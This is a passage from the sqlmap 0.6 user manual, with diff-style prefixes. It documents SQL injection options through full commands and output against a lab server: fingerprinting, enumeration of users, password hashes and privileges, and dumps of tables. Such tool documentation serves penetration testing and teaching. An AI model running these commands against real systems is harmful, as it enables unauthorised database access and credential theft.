+web server implements and the valid credentials to be used to perfom all
+HTTP requests to the target URL.
+The two valid types are Basic
and Digest
and the
+credentials' syntax is username:password
.
Examples on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
+ --auth-type Basic --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
+ --auth-type Digest --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Digest username="testuser", realm="Testing digest authentication",
+nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
+uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
+response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
+cnonce="df1c0902c931b640"
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+
+Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the
+HTTP requests to the target URL. The syntax of HTTP proxy value is
+http://url:port
.
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:3128"
+
+[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
+back-end DBMS: PostgreSQL
+
+
+
+
+Instead of using a single anonymous HTTP proxy server to pass by, you can +configure a +Tor client together +with +Privoxy on your machine +as explained on the +Tor client guide then run sqlmap as follows:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:8118"
+
+
+
+
+Note that 8118
is the default Privoxy port, adapt it to your
+settings.
Option: --threads
It is possible to specify the number of maximum concurrent HTTP requests +that sqlmap can start when it uses the blind SQL injection technique to +retrieve the query output. +This feature relies on the +multithreading concept and inherits both its pro and its cons.
+ +Examples on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -b --threads 3
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:08] [INFO] fetching banner
+[hh:mm:08] [INFO] retrieved the length of query output: 18
+[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
+[hh:mm:09] [INFO] starting 3 threads
+[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:09] [INFO] performed 132 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, sqlmap first calculates the length of the query output, +then starts three threads. Each thread is assigned to retrieve one +character of the query output. The thread then ends after approximately +seven HTTP requests, the maximum to retrieve a query output character.
+ + +Option: --string
By default the distinction of a True query by a False one (basic concept +for standard blind SQL injection attacks) is done comparing injected pages +content MD5 hash with the original not-injected page content MD5. Not +always this concept works because sometimes the page content changes at +each refresh, for instance when the page has a counter, a dynamic +advertisment banner or any other part of the HTML which is render +dynamically and might change in time not only consequently to user's +input. +To bypass this limit, sqlmap makes it possible to manually provide a +string which is always present on the not-injected page +and on all True injected query pages, but that it is not +on the False ones. +Such information is easy for an user to retrieve, simply try to inject on +the affected URL parameter an invalid value and compare original output +with the wrong output to identify which string is on True page only. +This way the distinction will be based upon string match and not page MD5 +hash comparison.
+Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ -v 5
+
+[...]
+[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:50] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:50 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Connection: close
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996190</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual
+paragraph 'String match' for details
+
+
+
+
+As you can see, the string after Dynamic content
changes its
+value every second. In the example it is just a call to PHP
+time()
function, but on the real world it is usually much more
+than that.
Looking at the HTTP responses page content you can see that the first five
+lines of code do not change at all.
+So choosing for instance the word luther
as an output that is
+on the True page content and it is not on the False page content and
+passing it to sqlmap, you should be able to inject anyway.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ --string "luther" -v 1
+
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+
+As you can see, when this option is specified, sqlmap skips the URL +stability test.
+ +Consider this option a must when you are dealing with a page which +content that changes itself at each refresh without modifying the user's +input.
+ + +Option: --dbms
By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four:
++
It is possible to force the name if you already know it so that sqlmap
+will skip the fingerprint with an exception for MySQL to only identify if
+it is MySQL < 5.0 or MySQL >= 5.0.
+To avoid also this check you can provide instead MySQL 4
or
+MySQL 5
.
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+ --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS: PostgreSQL
+
+
+
+
+In case you provide --fingerprint
together with --dbms
,
+sqlmap will only perform the extensive fingerprint for the specified
+database management system, read the following section for further
+details.
Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you.
+ + +Options: -f
or --fingerprint
By default the web application's back-end database management system +fingerprint is performed requesting a database specific function which +returns a known static value. By comparing this value with the returned +value it is possible to identify if the back-end database is effectively +the one that sqlmap expected.
+After identifying an injectable vector, sqlmap fingerprints the back-end +database management system and performs the following queries with their +specific syntax within the limits of the database architecture.
+If you want to perform a more accurate database management system
+fingerprint based on various techniques like specific SQL dialects and
+inband error messages, you can provide the --fingerprint
option.
The order of database management systems that sqlmap tests for is:
++
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:02] [INFO] retrieved: 44
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 4
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: DATABASE()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SCHEMA()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved:
+[hh:mm:02] [INFO] performed 6 queries in 0 seconds
+[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:26] [INFO] testing Oracle
+[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:26] [INFO] retrieved: 9
+[hh:mm:26] [INFO] performed 13 queries in 0 seconds
+[hh:mm:26] [INFO] confirming Oracle
+[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: active fingerprint: Oracle 10g
+ html error message fingerprint: Oracle
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:56] [INFO] testing PostgreSQL
+[hh:mm:56] [INFO] query: COALESCE(7, NULL)
+[hh:mm:56] [INFO] retrieved: 7
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] confirming PostgreSQL
+[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:56] [INFO] retrieved: 2
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0
+ html error message fingerprint: PostgreSQL
+
+
+
+
+As you can see from this last example, sqlmap first tested for MySQL, +then for Oracle, then for PostgreSQL since the user did not forced the +back-end database management system name.
+ +Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:41] [INFO] retrieved: 0
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+
+If you want an even more accurate result, based also on banner parsing,
+you can also provide the -b
or --banner
option.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:11] [INFO] testing MySQL
+[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:11] [INFO] retrieved: 44
+[hh:mm:11] [INFO] performed 20 queries in 0 seconds
+[hh:mm:11] [INFO] confirming MySQL
+[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:11] [INFO] retrieved: 1
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 4
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: DATABASE()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SCHEMA()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved:
+[hh:mm:11] [INFO] performed 6 queries in 0 seconds
+[hh:mm:11] [INFO] query: VERSION()
+[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:12] [INFO] performed 132 queries in 0 seconds
+[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ banner parsing fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+[...]
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+
+[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
+ version 8.00.194
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+
+As you can see, from the Microsoft SQL Server banner, sqlmap was able to +correctly identify the database management system service pack. +The Microsoft SQL Server XML versions file is the result of a sqlmap +parsing library that fetches data from Chip Andrews' +SQLSecurity.com site and outputs it to the XML versions file.
+ + +Option: -b
or --banner
Most of the modern database management systems have a function or an
+environment variable which returns details on the database managemet
+system version. Sometimes also the operating system where the daemon has
+been compiled on, the operating system architecture, its service pack.
+Usually this function is version()
or the @@version
+environment variable.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
+
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
+
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
+
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
+
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+
+Option: --current-user
It is possible to retrieve the database management system's user which is +effectively performing the query on the database from the web application.
+ +Example on a MySQL 5.0.51 target:
++
+
+python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
+
+current user: 'testuser@localhost'
+
+
+
+
+
+Option: --current-db
It is possible to retrieve the database management system's database the +web application is connected to.
+ +Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
+
+current database: 'master'
+
+
+
+
+
+Option: --users
It is possible to enumerate the list of database management system users.
+ +Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
+
+database management system users [3]:
+[*] postgres
+[*] testuser
+[*] testuser2
+
+
+
+
+
+Options: --passwords
and -U
It is possible to enumerate the password hashes for each database +management system user.
+ +Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
+
+[*] debian-sys-maint [1]:
+ password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+[*] root [1]:
+ password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] testuser [1]:
+ password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+
+
+
+
+You can also provide the -U
option to specify the user who you
+want to enumerate the password hashes.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
+ -U sa
+
+database management system users password hashes:
+[*] sa [1]:
+ password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ba9930b62ee5d506955
+ header: 0x0100
+ salt: 0e16d704
+ mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
+ uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+
+
+
+
+As you can see, when you enumerate password hashes on Microsoft SQL Server +sqlmap split the hash, useful if you want to crack it.
+ + +Options: --privileges
and -U
It is possible to enumerate the privileges for each database management +system user.
+ +Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
+
+[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
+[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
+database management system users privileges:
+[*] CTXSYS [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+[*] DBSNMP [1]:
+ privilege: OEM_MONITOR
+[*] FLOWS_020100 (administrator) [4]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+ privilege: SELECT_CATALOG_ROLE
+[*] FLOWS_FILES [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] HR (administrator) [3]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+[*] MDSYS [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] OUTLN [1]:
+ privilege: RESOURCE
+[*] SYS (administrator) [22]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: AQ_USER_ROLE
+ privilege: AUTHENTICATEDUSER
+ privilege: CONNECT
+ privilege: CTXAPP
+ privilege: DBA
+ privilege: DELETE_CATALOG_ROLE
+ privilege: EXECUTE_CATALOG_ROLE
+ privilege: EXP_FULL_DATABASE
+ privilege: GATHER_SYSTEM_STATISTICS
+ privilege: HS_ADMIN_ROLE
+ privilege: IMP_FULL_DATABASE
+ privilege: LOGSTDBY_ADMINISTRATOR
+ privilege: OEM_ADVISOR
+ privilege: OEM_MONITOR
+ privilege: PLUSTRACE
+ privilege: RECOVERY_CATALOG_OWNER
+ privilege: RESOURCE
+ privilege: SCHEDULER_ADMIN
+ privilege: SELECT_CATALOG_ROLE
+ privilege: XDBADMIN
+ privilege: XDBWEBSERVICES
+[*] SYSTEM (administrator) [2]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: DBA
+[*] TSMSYS [1]:
+ privilege: RESOURCE
+[*] XDB [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+
+
+
+
+You can also provide the -U
option to specify the user who you
+want to enumerate the privileges.
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
+ -U postgres
+
+database management system users privileges:
+[*] postgres (administrator) [3]:
+ privilege: catupd
+ privilege: createdb
+ privilege: super
+
+
+
+
+As you can see, depending on the user privileges, sqlmap identifies if the +user is a database management system administrator and show after the +username this information.
+ +Note that this feature is not available if the back-end database +management system is Microsoft SQL Server.
+ + +Option: --dbs
It is possible to enumerate the list of databases.
+ +Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
+
+available databases [6]:
+[*] master
+[*] model
+[*] msdb
+[*] Northwind
+[*] pubs
+[*] tempdb
+
+
+
+
+Note that this feature is not available if the back-end database +management system is Oracle.
+ +Options: --tables
and -D
It is possible to enumerate the list of tables for all database +manangement system's databases.
+ +Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+Database: information_schema
+[17 tables]
++---------------------------------------+
+| CHARACTER_SETS |
+| COLLATION_CHARACTER_SET_APPLICABILITY |
+| COLLATIONS |
+| COLUMN_PRIVILEGES |
+| COLUMNS |
+| KEY_COLUMN_USAGE |
+| PROFILING |
+| ROUTINES |
+| SCHEMA_PRIVILEGES |
+| SCHEMATA |
+| STATISTICS |
+| TABLE_CONSTRAINTS |
+| TABLE_PRIVILEGES |
+| TABLES |
+| TRIGGERS |
+| USER_PRIVILEGES |
+| VIEWS |
++---------------------------------------+
+
+Database: mysql
+[17 tables]
++---------------------------------------+
+| columns_priv |
+| db |
+| func |
+| help_category |
+| help_keyword |
+| help_relation |
+| help_topic |
+| host |
+| proc |
+| procs_priv |
+| tables_priv |
+| time_zone |
+| time_zone_leap_second |
+| time_zone_name |
+| time_zone_transition |
+| time_zone_transition_type |
+| user |
++---------------------------------------+
+
+
+
+
+You can also provide the -D
option to specify the database
+that you want to enumerate the tables.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
+ -D test
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
+ -D users
+
+Database: USERS
+[8 tables]
++-------------------+
+| DEPARTMENTS |
+| EMPLOYEES |
+| HTMLDB_PLAN_TABLE |
+| JOB_HISTORY |
+| JOBS |
+| LOCATIONS |
+| REGIONS |
+| USERS |
++-------------------+
+
+
+
+
+Note that on Oracle you have to provide the TABLESPACE_NAME
+instead of the database name, in my example that is users
to
+retrieve all tables owned by an Oracle database management system
+user.
Options: --columns
, -T
and -D
It is possible to enumerate the list of columns for a specific database
+table.
+This functionality depends on both -T
to specify the table name
+and on -D
to specify the database name.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
+ -T users -D master
+
+Database: master
+Table: users
+[3 columns]
++---------+---------+
+| Column | Type |
++---------+---------+
+| id | int |
+| name | varchar |
+| surname | varchar |
++---------+---------+
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
+ -T users -D public
+
+Database: public
+Table: users
+[3 columns]
++---------+--------+
+| Column | Type |
++---------+--------+
+| id | int4 |
+| name | bpchar |
+| surname | bpchar |
++---------+--------+
+
+
+
+
+Note that on PostgreSQL you have to provide public
or the
+name of a system database because it is not possible to enumerate other
+databases tables, only the users' schema that the web application's user
+is connected to, which is always public
.
Options: --dump
, -C
, -T
and -D
It is possible to dump the entries for a specific database table.
+This functionality depends on both -T
to specify the table name
+and on -D
to specify the database name.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+ -T users -D test
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+
+
+
+You can also provide the -C
option to specify the table column
+that you want to enumerate the entries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
+ -T users -D master -C surname
+
+Database: master
+Table: users
+[5 entries]
++-------------------+
+| surname |
++-------------------+
+| blisset |
+| bunny |
+| ming |
+| nameisnull |
+| user agent header |
++-------------------+
+
+
+
+
+sqlmap also stores for each table the dumped entries in a CSV format file. +You can see the absolute path where it stored the dumped tables entries +by providing a verbosity level greater than or equal to 1.
+ +Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
+ -T users -D public -v 1
+
+[...]
+Database: public
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+192.168.1.121/dump/public/users.csv'
